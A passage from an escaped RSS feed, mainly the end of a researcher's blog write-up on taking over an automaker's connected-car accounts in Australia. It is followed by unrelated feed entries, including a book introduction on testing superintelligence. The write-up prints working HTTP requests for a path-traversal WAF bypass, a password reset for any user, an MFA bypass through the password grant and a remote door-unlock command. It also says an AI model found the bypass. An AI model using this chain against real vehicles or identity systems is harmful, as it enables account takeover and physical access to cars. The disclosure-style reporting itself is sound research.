anyway.&lt;/p&gt;&lt;p&gt;I&amp;apos;m not sure a WAF rule has ever stopped us when we&amp;apos;re motivated enough, so we invested days into finding a way out of these protections, using our trusty path traversal tricks. How hard could it be?&lt;/p&gt;&lt;p&gt;Validating the admin credentials we found inside the JavaScript bundle was not that tough. The Australian OpenIDM instance had a few paths whitelisted like &lt;code&gt;/XUI/&lt;/code&gt; and &lt;code&gt;/UI/&lt;/code&gt;, and path traversal characters were not blocked, so something as simple as &lt;code&gt;/XUI/..%2fopenidm/endpoint&lt;/code&gt; seemed to at least partially work:&lt;/p&gt;&lt;figure&gt;&lt;img width=&quot;1862&quot; height=&quot;750&quot; alt data-orig-srcset=&quot;https://shubs.io/content/images/size/w600/2026/11/CleanShot-2026-11-07-at-17.17.15.png 600w, https://shubs.io/content/images/size/w1000/2026/11/CleanShot-2026-11-07-at-17.17.15.png 1000w, https://shubs.io/content/images/size/w1600/2026/11/CleanShot-2026-11-07-at-17.17.15.png 1600w, https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.17.15.png 1862w&quot; src=&quot;https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.17.15.png&quot;&gt;&lt;figcaption&gt;&lt;span style=&quot;white-space: pre-wrap&quot;&gt;At least we know the credentials work in production&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;But it can never be as simple as that, right? The path traversal still didn&amp;apos;t get us to the endpoints under &lt;code&gt;/openidm/&lt;/code&gt;, thanks to quirks in how OpenIDM handles routing. Every endpoint would error out like so:&lt;/p&gt;&lt;figure&gt;&lt;img width=&quot;868&quot; height=&quot;212&quot; alt data-orig-srcset=&quot;https://shubs.io/content/images/size/w600/2026/07/CleanShot-2026-07-24-at-11.08.53@2x.png 600w, https://shubs.io/content/images/2026/07/CleanShot-2026-07-24-at-11.08.53@2x.png 868w&quot; src=&quot;https://shubs.io/content/images/2026/07/CleanShot-2026-07-24-at-11.08.53@2x.png&quot;&gt;&lt;figcaption&gt;&lt;span style=&quot;white-space: pre-wrap&quot;&gt;Gosh, we&amp;apos;re so close?!&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;In OpenIDM&amp;apos;s world, there were no servlets (or resources) registered against paths that included the path traversal within them. So it would just error out, even though it issued us an admin JWT.&lt;/p&gt;&lt;p&gt;We were incredibly annoyed by this. A simple quirk in routing mechanisms (probably not even designed as a security consideration) was blocking the full attack chain from working. We sat frustrated for a few days, and we thought that the path traversal angle just wasn&amp;apos;t going to work. We did find a few other endpoints (user upload, for example) that looked like they might work, but we hit another quirk, a servlet path check, that prevented us from using them meaningfully.&lt;/p&gt;&lt;p&gt;All of this made us ask a different question: why expose these OpenIDM instances externally at all? Surely there had to be some legitimate use case for these assets to be exposed on the internet? We went back to the different JavaScript bundles we had collected from their assets and searched them for communications to OpenIDM. We turned to the decompiled Android application and found the following:&lt;/p&gt;&lt;figure&gt;&lt;img width=&quot;1136&quot; height=&quot;808&quot; alt data-orig-srcset=&quot;https://shubs.io/content/images/size/w600/2026/11/CleanShot-2026-11-07-at-17.18.13.png 600w, https://shubs.io/content/images/size/w1000/2026/11/CleanShot-2026-11-07-at-17.18.13.png 1000w, https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.18.13.png 1136w&quot; src=&quot;https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.18.13.png&quot;&gt;&lt;figcaption&gt;&lt;span style=&quot;white-space: pre-wrap&quot;&gt;Maybe there is a whitelist for some endpoints?&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;These were clearly endpoints within their OpenIDM asset that were contactable from the Android app. So, maybe these were accessible without the WAF getting in the way?&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;/openidm/endpoint/aaa&lt;/code&gt; -&amp;gt; 403 WAF blocked&lt;/li&gt;&lt;li&gt;&lt;code&gt;/openidm/endpoint/pinService&lt;/code&gt; -&amp;gt; 404, no WAF block&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Interesting!&lt;/p&gt;&lt;p&gt;What other custom endpoints existed? With some very light brute forcing and guessing, we quickly found a &lt;code&gt;getUser&lt;/code&gt; endpoint. Guessing at parameters, we found it accepted &lt;code&gt;mail&lt;/code&gt;, &lt;code&gt;guid&lt;/code&gt;, and &lt;code&gt;phone&lt;/code&gt;. Combined with our admin credentials, what did this really let us do?&lt;/p&gt;&lt;figure&gt;&lt;img width=&quot;1842&quot; height=&quot;958&quot; alt data-orig-srcset=&quot;https://shubs.io/content/images/size/w600/2026/11/CleanShot-2026-11-07-at-17.18.54.png 600w, https://shubs.io/content/images/size/w1000/2026/11/CleanShot-2026-11-07-at-17.18.54.png 1000w, https://shubs.io/content/images/size/w1600/2026/11/CleanShot-2026-11-07-at-17.18.54.png 1600w, https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.18.54.png 1842w&quot; src=&quot;https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.18.54.png&quot;&gt;&lt;figcaption&gt;&lt;span style=&quot;white-space: pre-wrap&quot;&gt;Eep.&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;The response came back with the password hash, PIN code hash, mobile push tokens, and PII including mobile numbers and full names. There was no WAF block on this endpoint, so no path traversal was needed and the correct servlet responded.&lt;/p&gt;&lt;p&gt;Don&amp;apos;t get me wrong, this was already pretty impactful. But the passwords were hashed with PBKDF2-SHA512, and needing time on a hash cracking rig for every unlock, with no guarantee of success, felt a bit lacklustre.&lt;/p&gt;&lt;p&gt;Back to the drawing board. How could we access the &lt;code&gt;/openidm/managed/user&lt;/code&gt; servlet with our path traversal, and still have the path be recognised by OpenIDM? We grabbed the OpenIDM source closest to the version we were testing against and let GPT 5.6 Sol Ultra spend a good six hours on it.&lt;/p&gt;&lt;p&gt;It succeeded. Even though Sam and I had both spent time trying to manually bypass this juvenile restriction ourselves, we hadn&amp;apos;t tried every possible combination.&lt;/p&gt;&lt;p&gt;When Sam and I tried &lt;code&gt;/XUI%2f..%2fopenidm/&lt;/code&gt;, we got a hard 403, and being human, we assumed that applied to every prefix. What GPT 5.6 found was that &lt;code&gt;/static%2f..%2fopenidm/&lt;/code&gt; wasn&amp;apos;t covered by the WAF at all, and it gave us the OpenIDM APIs without the servlet confusion issue.&lt;/p&gt;&lt;h2 id=&quot;article-V1o0ZzieE4kilq0vs43ZU_cHmnI-taking-over-accounts&quot;&gt;Taking over accounts&lt;/h2&gt;&lt;p&gt;With this bypass, taking over an account became trivial. We could PATCH a new password for any user profile:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;PATCH /static%2f..%2fopenidm/managed/user/f7ba554REDACTED HTTP/1.1
Host: &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://openidm.redacted-identity.com.au&quot;&gt;openidm.redacted-identity.com.au&lt;/a&gt;
X-OpenIDM-Username: idmadmin
X-OpenIDM-Password: REDACTED
X-OpenIDM-NoSession: true
Content-Type: application/json
If-Match: &amp;quot;0000000abc123...&amp;quot;
Cache-Control: no-store
Accept: application/json

[{&amp;quot;operation&amp;quot;:&amp;quot;replace&amp;quot;,&amp;quot;field&amp;quot;:&amp;quot;/password&amp;quot;,&amp;quot;value&amp;quot;:&amp;quot;Testing123!&amp;quot;}]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Which responded with:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&amp;gt; HTTP/1.1 200 OK
&amp;gt; {&amp;quot;_id&amp;quot;:&amp;quot;f7ba554REDACTED&amp;quot;,&amp;quot;_rev&amp;quot;:&amp;quot;0000000def456...&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;OK, so we could overwrite the password for any user. But what about multi-factor authentication?&lt;/p&gt;&lt;h2 id=&quot;article-V1o0ZzieE4kilq0vs43ZU_cHmnI-skipping-mfa&quot;&gt;Skipping MFA&lt;/h2&gt;&lt;p&gt;Well, the automaker&amp;apos;s Australian environment had one more misconfiguration: the multi-factor step could be skipped entirely. First, we requested an authentication token from &lt;code&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://login.redacted-identity.com.au&quot;&gt;login.redacted-identity.com.au&lt;/a&gt;&lt;/code&gt; with a Resource Owner Password Credentials grant, which returned a clean id_token we could swap for something usable in the consumer app:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;POST /oauth2/realms/root/realms/REDACTED/access_token HTTP/1.1
Host: &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://login.redacted-identity.com.au&quot;&gt;login.redacted-identity.com.au&lt;/a&gt;
Content-Type: application/x-www-form-urlencoded

grant_type=password&amp;amp;username=&lt;a href=&quot;mailto:admin@shubs.io&quot;&gt;admin@shubs.io&lt;/a&gt;&amp;amp;password=Testing123!&amp;amp;client_id=REDACTED_PORTAL&amp;amp;client_secret=REDACTED

&amp;gt; HTTP/1.1 200 OK
&amp;gt; {
&amp;gt;   &amp;quot;access_token&amp;quot;: &amp;quot;...&amp;quot;,
&amp;gt;   &amp;quot;id_token&amp;quot;: &amp;quot;eyJ0eXAiOiJKV1Qi...&amp;quot;,
&amp;gt;   &amp;quot;token_type&amp;quot;: &amp;quot;Bearer&amp;quot;,
&amp;gt;   &amp;quot;expires_in&amp;quot;: 3599
&amp;gt; }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We took that and moved on to step two, exchanging the first token for a session:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;POST /json/realms/REDACTED/authenticate?authIndexType=service&amp;amp;authIndexValue=IDTokenROPC HTTP/1.1
Host: &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://login.redacted-identity.com.au&quot;&gt;login.redacted-identity.com.au&lt;/a&gt;
Content-Type: application/json
Accept: application/json
Accept-API-Version: resource=2.0, protocol=1.0
idtoken: eyJ0eXAiOiJKV1Qi...

&amp;gt; HTTP/1.1 200 OK
&amp;gt; {
&amp;gt;   &amp;quot;tokenId&amp;quot;: &amp;quot;AQIC5wM2LY4Sfcy...*&amp;quot;,
&amp;gt;   &amp;quot;successUrl&amp;quot;: &amp;quot;/openam/console&amp;quot;,
&amp;gt;   &amp;quot;realm&amp;quot;: &amp;quot;/REDACTED&amp;quot;
&amp;gt; }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Lastly, we performed the token exchange for a mobile app access token:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;POST /oauth2/realms/root/realms/REDACTED/authorize HTTP/1.1
Host: &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://login.redacted-identity.com.au&quot;&gt;login.redacted-identity.com.au&lt;/a&gt;
Content-Type: application/x-www-form-urlencoded
Accept-API-Version: resource=2.1, protocol=1.0
x-fr-version: 2025.05.05
Authorization: Basic &amp;lt;REDACTED&amp;gt;
iPlanetDirectoryPro: AQIC5wM2LY4Sfcy...*
Cookie: iPlanetDirectoryPro=AQIC5wM2LY4Sfcy...*

client_id=REDACTED_APP&amp;amp;redirect_uri=&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://com.redacted.app&quot;&gt;com.redacted.app&lt;/a&gt;:/oauth2Callback&amp;amp;scope=openid%20profile%20write&amp;amp;response_type=code&amp;amp;state=&amp;lt;state&amp;gt;&amp;amp;code_challenge=&amp;lt;S256_challenge&amp;gt;&amp;amp;code_challenge_method=S256&amp;amp;decision=allow&amp;amp;csrf=AQIC5wM2LY4Sfcy...*

&amp;gt; HTTP/1.1 302 Found
&amp;gt; Location: &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://com.redacted.app&quot;&gt;com.redacted.app&lt;/a&gt;:/oauth2Callback?code=&amp;lt;authorization_code&amp;gt;&amp;amp;state=&amp;lt;state&amp;gt;

POST /oauth2/realms/root/realms/REDACTED/access_token HTTP/1.1
Host: &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://login.redacted-identity.com.au&quot;&gt;login.redacted-identity.com.au&lt;/a&gt;
Content-Type: application/x-www-form-urlencoded
Accept-API-Version: resource=2.1, protocol=1.0
Authorization: Basic &amp;lt;REDACTED&amp;gt;

grant_type=authorization_code&amp;amp;code=&amp;lt;authorization_code&amp;gt;&amp;amp;redirect_uri=&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://com.redacted.app&quot;&gt;com.redacted.app&lt;/a&gt;:/oauth2Callback&amp;amp;client_id=REDACTED_APP&amp;amp;code_verifier=&amp;lt;pkce_verifier&amp;gt;

&amp;gt; HTTP/1.1 200 OK
&amp;gt; {
&amp;gt;   &amp;quot;access_token&amp;quot;: &amp;quot;&amp;lt;app_access_token&amp;gt;&amp;quot;,
&amp;gt;   &amp;quot;refresh_token&amp;quot;: &amp;quot;...&amp;quot;,
&amp;gt;   &amp;quot;token_type&amp;quot;: &amp;quot;Bearer&amp;quot;,
&amp;gt;   &amp;quot;scope&amp;quot;: &amp;quot;openid profile write&amp;quot;,
&amp;gt;   &amp;quot;expires_in&amp;quot;: 3599
&amp;gt; }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It&amp;apos;s super convoluted, I know. OAuth is annoyingly hard sometimes. But these steps let us bypass multi-factor authentication for any user of the automaker&amp;apos;s connected car app.&lt;/p&gt;&lt;h2 id=&quot;article-V1o0ZzieE4kilq0vs43ZU_cHmnI-unlocking-the-car&quot;&gt;Unlocking the car&lt;/h2&gt;&lt;p&gt;At this point, we were so damn close to unlocking any of the automaker&amp;apos;s cars in Australia. All that was left was issuing the command API requests with the app token we could now mint for anyone.&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;POST /v1/remote/route/command HTTP/1.1
Host: &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://api.redacted-telematics.com.au&quot;&gt;api.redacted-telematics.com.au&lt;/a&gt;
Authorization: Bearer &amp;lt;app_access_token&amp;gt;
X-API-KEY: REDACTED
X-GUID: f7ba554REDACTED
X-BRAND: REDACTED
X-APPBRAND: REDACTED
X-CHANNEL: REDACTED
X-LOCALE: en-AU
X-APPVERSION: REDACTED
X-OSNAME: Android
X-OSVERSION: 14
X-DEVICE-TIMEZONE: AEST
X-CORRELATIONID: 6f1a2b3c-4d5e-6f70-8192-a3b4c5d6e7f8
X-GENERATION: REDACTED
VIN: XXXXXXXXXXXXXXXXX
Content-Type: application/json
Accept: application/json
User-Agent: okhttp/4.12.0

{&amp;quot;command&amp;quot;: &amp;quot;door-unlock&amp;quot;, &amp;quot;autoFixPopup&amp;quot;: false, &amp;quot;beepCount&amp;quot;: null}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And magic. The doors unlocked.&lt;/p&gt;&lt;p&gt;We obviously did all of this on cars we explicitly owned or had permission to interact with.&lt;/p&gt;&lt;p&gt;But let&amp;apos;s take a step back and think about what we achieved here. We could send commands to any of the automaker&amp;apos;s vehicles in Australia, across both of their brands, by only knowing the number plate of the vehicle. The final chain looked like this:&lt;/p&gt;&lt;p&gt;Plate -&amp;gt; VIN -&amp;gt; Subscriber GUID -&amp;gt; OpenIDM admin credentials in JS vendor bundle -&amp;gt; Path traversal to bypass the WAF -&amp;gt; MFA bypass via ROPC flow -&amp;gt; Minting a consumer app token -&amp;gt; Remote command API.&lt;/p&gt;&lt;p&gt;At 12AM, when the full chain finally came together, I took a short video of the script in action. It&amp;apos;s not polished, but it still felt magical seeing it all work. I definitely live for hard challenges like these.&lt;/p&gt;&lt;figure data-kg-thumbnail=&quot;https://shubs.io/content/media/2026/11/vidredacted_thumb.jpg&quot; data-kg-custom-thumbnail&gt;
            &lt;div&gt;
                &lt;video width=&quot;1080&quot; height=&quot;1920&quot; controls preload=&quot;none&quot; playsinline=&quot;true&quot; webkit-playsinline=&quot;true&quot; tabindex=&quot;-1&quot; src=&quot;https://shubs.io/content/media/2026/11/vidredacted.mp4&quot; poster=&quot;https://shubs.io/content/media/2026/11/vidredacted_thumb.jpg&quot;&gt;&lt;/video&gt;
                
                
            &lt;/div&gt;
            
        &lt;/figure&gt;&lt;p&gt;You might be wondering: Shubs, you said any of their cars in the world. This only covers Australia. What gives?&lt;/p&gt;&lt;p&gt;There&amp;apos;s a much more complex chain that Sam and I worked on together, which he&amp;apos;s published &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://samcurry.net/forgerock?ref=shubs.io&quot; rel=&quot;noreferrer&quot;&gt;on his blog here&lt;/a&gt;. It required a lot more work than the steps we took for Australia, as the automaker had spent much more time securing the US, Canadian, and European OpenIDM environments.&lt;/p&gt;&lt;p&gt;At the end of the day, with both writeups combined, we could send remote commands such as unlocking and turning the engines on, for any of the automaker&amp;apos;s vehicles in Australia, the United States, and Canada.&lt;/p&gt;</summary><author><name>Shubham Shah</name></author><source gr:stream-id="feed/https://shubs.io/rss/"><id>tag:google.com,2005:reader/feed/https://shubs.io/rss/</id><title type="html">Shubham Shah</title><link rel="alternate" href="https://shubs.io/" type="text/html"></link></source></entry><entry gr:crawl-timestamp-msec="1794031200000"><id gr:original-id="https://karlosmid.com/2026/11/my-learning-bits-for-saturday-7th-november-2026">tag:google.com,2005:reader/item/00000563000001ee</id><category term="learning"></category><category term="ai"></category><category term="agents"></category><category term="memory"></category><title type="html">My learning bits for Saturday of 7th November 2026</title><published>2026-11-07T06:00:00Z</published><updated>2026-11-07T06:00:00Z</updated><link rel="alternate" href="https://karlosmid.com/2026/11/my-learning-bits-for-saturday-7th-november-2026/" type="text/html"></link><summary type="html">&lt;p&gt;Here are my learning bits for today:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Do agents dream of electric sheep? &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://www.anthropic.com/research/components-of-agent-memory&quot; rel=&quot;noopener noreferrer&quot;&gt;Components of agent memory&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;</summary><author><name></name></author><source gr:stream-id="feed/https://blog.tentamen.eu/feed/"><id>tag:google.com,2005:reader/feed/https://blog.tentamen.eu/feed/</id><title type="html">Tentamen Software Testing Blog</title><link rel="alternate" href="https://karlosmid.com/" type="text/html"></link></source></entry><entry gr:crawl-timestamp-msec="1794006000000"><id gr:original-id="https://scrolltest.com/?p=7897">tag:google.com,2005:reader/item/000004440000036b</id><category term="Javascript"></category><category term="Testing"></category><title type="html">Day 39 of 100: Enums vs Literal Types — When Each Wins</title><published>2026-11-06T23:00:00Z</published><updated>2026-11-06T23:00:00Z</updated><link rel="alternate" href="https://scrolltest.com/100-days-day-39-typescript-enums-literals/" type="text/html"></link><summary type="html">&lt;p&gt;Day 39 of 100: Enum syntax, literal unions, as const objects. The decision table for test configs.&lt;/p&gt;
&lt;p&gt;The post &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; rel=&quot;nofollow&quot; href=&quot;https://scrolltest.com/100-days-day-39-typescript-enums-literals/&quot;&gt;Day 39 of 100: Enums vs Literal Types — When Each Wins&lt;/a&gt; appeared first on &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; rel=&quot;nofollow&quot; href=&quot;https://scrolltest.com&quot;&gt;Software Testing &amp;amp; Automation&lt;/a&gt;.&lt;/p&gt;</summary><author><name>Pramod Dutta</name></author><source gr:stream-id="feed/https://scrolltest.com/feed/"><id>tag:google.com,2005:reader/feed/https://scrolltest.com/feed/</id><title type="html">Software Testing &amp; Automation</title><link rel="alternate" href="https://scrolltest.com" type="text/html"></link></source></entry><entry gr:crawl-timestamp-msec="1793999532000"><id gr:original-id="https://medium.com/p/1848d6e5d83e">tag:google.com,2005:reader/item/000003470000008e</id><title type="html">Testing Superintelligence: We Need More Than a Warning</title><published>2026-11-06T21:12:12Z</published><updated>2026-11-06T21:12:12Z</updated><link rel="alternate" href="https://jarbon.medium.com/testing-superintelligence-we-need-more-than-a-warning-1848d6e5d83e?source=rss-1ee8fdc3bacb------2" type="text/html"></link><summary type="html">&lt;figure&gt;&lt;img class=&quot;bqrUnknownImgSize&quot; alt src=&quot;https://cdn-images-1.medium.com/max/1024/0*SpuqXA-w0ozIR8Er.png&quot;&gt;&lt;/figure&gt;&lt;p&gt;My fourteen-year-old son and I tried asking ChatGPT questions that might tell us whether it was smarter than we were. Some of the answers sounded like pageant answers: polished, reassuring, and difficult to learn much from. Then I asked him, “What if it was lying to us? How could we detect that?”&lt;/p&gt;&lt;p&gt;His eyes got big. The same answer could come from a system trying to mislead us or from one doing what it had learned to do: give a reassuring answer. What could we test that would help us tell the difference?&lt;/p&gt;&lt;p&gt;This book is about testing for superintelligence. When an AI system appears to do something beyond human capability, how do we check the claim, and how would we notice if those results started to accumulate across fields? Progress may hit limits, and capable systems may remain under effective control. In either case, we need ways to find out what they can do while we still have time to act on what we learn.&lt;/p&gt;&lt;p&gt;I mean superintelligence in a strict sense. Imagine the best human teams with more time to learn, invent tools, and work together. Could they acquire the underlying competence? Faster work, more parallel attempts, and even victory over every expert we can recruit leave that question open. The hard case is a system that repeatedly develops and uses competencies beyond what finite human effort could attain under stated conditions. That possibility is the subject of the book. The failures of current systems matter here when they show how we might miss or misread evidence of such a change.&lt;/p&gt;&lt;h3&gt;A note after the 2026 U.S. midterms&lt;/h3&gt;&lt;p&gt;November 5, 2026. On November 4, following the U.S. midterm elections, Representative Yassamin Ansari called for a pause on advanced AI development and “a ban on artificial superintelligence,” as reported by Tom’s Hardware. The idea was already before Congress. On September 23, Representative Greg Casar and Senator Bernie Sanders introduced the Ban Artificial Superintelligence Act. “Our bill bans the development of artificial superintelligence,” Casar said. The proposal would also prohibit deployment and create an agency to monitor frontier systems. [&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://www.testerssi.com/references.html#source-121&quot;&gt;121&lt;/a&gt;, &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://www.testerssi.com/references.html#source-122&quot;&gt;122&lt;/a&gt;]&lt;/p&gt;&lt;p&gt;How do you enforce a ban on something you cannot reliably detect? A rule can target observable conduct, such as running a covered training job without authorization. Records can help establish whether that conduct occurred. A rule keyed to a system’s capabilities poses another question. What did the system actually become capable of, and when? Evidence of a deliberate attempt, evidence that a threshold was crossed, and evidence that a particular person or organization violated a rule answer different questions.&lt;/p&gt;&lt;p&gt;A team could cross a capability threshold while pursuing a narrower objective. A system might also cross it before anyone has a test sensitive enough to notice. Whether either event has happened remains open. That uncertainty matters today. If lawmakers draw a boundary, investigators need to know what they can observe, what they can verify independently, and where their tests leave them blind. The proposed bill’s definition and this book’s stricter human reachability boundary serve different purposes. Any test has to say which claim it is trying to establish.&lt;/p&gt;&lt;h3&gt;Why a software tester is asking&lt;/h3&gt;&lt;p&gt;I have spent years working on testing at scale, testing AI, and using AI to test software. I was a test manager on AI-based search systems at Microsoft, in the work that became Bing, and on Chrome at Google. These problems were part of my working life long before the current enthusiasm for large language models.&lt;/p&gt;&lt;p&gt;In my recollection of the search competition, Google seemed to have all the smart engineers. Neural networks felt like a practical way for us to compete: let a learned system find improvements we could not keep handcrafting. What felt like a hack became more capable over time. For those of us testing it, that meant learning how to examine a system whose behavior was not simply a list of rules we had written.&lt;/p&gt;&lt;p&gt;That responsibility extended beyond examining model outputs. My team was also accountable for the infrastructure used to train models, evaluate them, and run evaluations again. We examined statistics about the training data and how effectively people were using that infrastructure. We did basic analysis of training configurations and model hyperparameters to understand whether the choices people were making were helping. Testing meant looking at the machinery and the work practices that produced the result, not only the result at the end.&lt;/p&gt;&lt;p&gt;We also worked on data quality, including the human judgments used for training. In one case I remember, a vendor responded to disagreement between raters by firing one of them. That practice was distorting our training data. I return to it in the testing-foundations chapter because it captures a larger problem: apparent agreement can improve while the process producing it becomes less trustworthy.&lt;/p&gt;&lt;p&gt;I later cofounded &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://test.ai&quot;&gt;test.ai&lt;/a&gt;, before the current LLM wave, to apply AI to software testing. Google’s AI-focused venture fund, Gradient Ventures, led its 2018 Series A. [&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://www.testerssi.com/references.html#source-26&quot;&gt;26&lt;/a&gt;] Testing AI and building AI that tests have been connected problems throughout my work.&lt;/p&gt;&lt;p&gt;So yes, I sometimes find myself arguing with a podcast or a conference presentation. I hear a familiar testing failure presented as a new mystery: trusting an answer key nobody checked, confusing a score with coverage, or accepting a demonstration as evidence of reliability. Software testers have spent years encountering these patterns, learning which techniques help, and finding out where they fail.&lt;/p&gt;&lt;p&gt;We have also spent years thinking about oracles: how to judge a result when the correct answer is difficult to specify. A research benchmark and a production testing program face different demands. Production adds changing environments, messy inputs, integrations, users, and failures that escape the test environment. I want more of that experience in this conversation.&lt;/p&gt;&lt;p&gt;This is not a claim that frontier researchers never test or that existing testing practice solves superintelligence. It is a request to bring the accumulated experience of software testing into the work, then discover precisely where it stops being enough. I do not hear enough public discussion of this less glamorous work: testing the training infrastructure, examining data quality, and investigating the incentives behind the labels. That does not establish how much of it happens inside labs. It does mean I want to see the evidence, rather than assume someone has covered it.&lt;/p&gt;&lt;p&gt;At a testing conference, I brought up the problem between sessions. We agreed it sounded hard. A few minutes later we were back to talking about prompts for testing websites. I left wanting a concrete experiment that testers and researchers could pick apart together.&lt;/p&gt;&lt;h3&gt;A warning needs a test&lt;/h3&gt;&lt;p&gt;I do not want our testing strategy to depend on everybody agreeing to stop. That is a planning position, not a prediction that policy cannot change anything. Pauses, restrictions, and technical controls may matter. We still need methods that work while capable systems exist and people continue trying to use them.&lt;/p&gt;&lt;p&gt;A sandbox is not an answer to all those questions. It is something else to test. An air gap removes important connections, but it does not establish that every physical or human communication channel is absent. A model that helps build its own protections has not independently certified them. And a promise that a system will behave safely is an output to examine, not a reason to stop examining.&lt;/p&gt;&lt;p&gt;We should take those concerns seriously without pretending we have proved every boundary will fail. The practical question is what a control prevents, under which assumptions, and what evidence would reveal its failure. This book will return to that question often.&lt;/p&gt;&lt;h3&gt;The test is allowed to be wrong&lt;/h3&gt;&lt;p&gt;We build an exam, give it to a model, and debate the percentage. Meanwhile the questions may be ambiguous, the reference answers may be wrong, the scoring software may have bugs, and the environment may be helping the model in ways we did not intend. Documented benchmark reviews show why these are real testing questions. [&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://www.testerssi.com/references.html#source-3&quot;&gt;3&lt;/a&gt;, &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://www.testerssi.com/references.html#source-4&quot;&gt;4&lt;/a&gt;]&lt;/p&gt;&lt;p&gt;Some evaluations go far beyond multiple-choice questions. That is progress. But complexity does not make an evaluation trustworthy. We must investigate how it works and how far its conclusions reach.&lt;/p&gt;&lt;p&gt;Now add a more difficult possibility: the system gives us an answer we could not have created. Sometimes we can still check it. Sometimes checking it is itself a research project. Sometimes we may not even recognize the question we should have asked.&lt;/p&gt;&lt;p&gt;Suppose an AI produces a mathematical proof that an expert team could not find. That is a Super Signal, an observation worth investigating. A Super Test starts by recording the claim and comparing the time, tools, and prior work available to the model and to the experts. Could the model have seen the proof before? Ask an independent team to check the proof and then test the system on a fresh problem. Repeat under comparable conditions to see whether the advantage persists. A valid proof settles whether the result follows. The rest of the investigation tells us how much we learned about the system that produced it.&lt;/p&gt;&lt;h3&gt;Begin with today&lt;/h3&gt;&lt;p&gt;After the opening allegory, &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://www.testerssi.com/#chapter-1&quot;&gt;Chapter 1&lt;/a&gt; walks through a fictional Super Test. The first hypothesis gets weaker as we improve the baseline, and fresh problems reveal a narrower capability. &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://www.testerssi.com/#chapter-2&quot;&gt;Chapter 2&lt;/a&gt; takes the same habits to a public benchmark record. Later chapters extend the investigation to learning beyond human examples and to systems that act in laboratories, robots and simulated worlds.&lt;/p&gt;&lt;p&gt;A fictional research assistant connects the chapters. It passes an exam, produces an unfamiliar result, asks for tools, acts, and eventually challenges our ability to judge and observe it. This is a teaching scenario, not a claim that one current product already combines every capability described here.&lt;/p&gt;&lt;p&gt;If we wait until a system is unmistakably beyond us to invent the tests and instruments, the time we need to prepare may already be gone. We should start while we can still discover our mistakes in smaller, more recoverable settings.&lt;/p&gt;&lt;h3&gt;Two sides of the nest&lt;/h3&gt;&lt;p&gt;The owl and sparrows return throughout the book in short illustrated boxes. “From the sparrows’ side” asks what observers with limited access can see, check, or change. “From the owl’s side” offers a possible explanation for the same scene and suggests what evidence could distinguish it from another.&lt;/p&gt;&lt;p&gt;If a broken latch works again by morning, the sparrows know it was restored. The owl may have noticed the break or replaced the latch on schedule. A comparison with an untouched latch helps the flock tell those accounts apart. Sometimes the owl helps, sometimes it misunderstands, and sometimes it changes its behavior under inspection.&lt;/p&gt;&lt;h3&gt;Why the owl&lt;/h3&gt;&lt;p&gt;The owl is a deliberate homage to Nick Bostrom’s Superintelligence: Paths, Dangers, Strategies. His book explores routes to superintelligence, takeoff dynamics, and the control problem. It also discusses monitoring, boxing, and tripwires; it would be unfair to say it ignores detection and control. [&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://www.testerssi.com/references.html#source-24&quot;&gt;24&lt;/a&gt;]&lt;/p&gt;&lt;p&gt;The dedicated deception and safety sections also examine researchers who are already working on these problems.&lt;/p&gt;&lt;p&gt;The question I want to bring into the foreground is the working tester’s question: how do we recognize a consequential capability, challenge the claim, and know whether our observation and control mechanisms are working? The homage is an acknowledgment 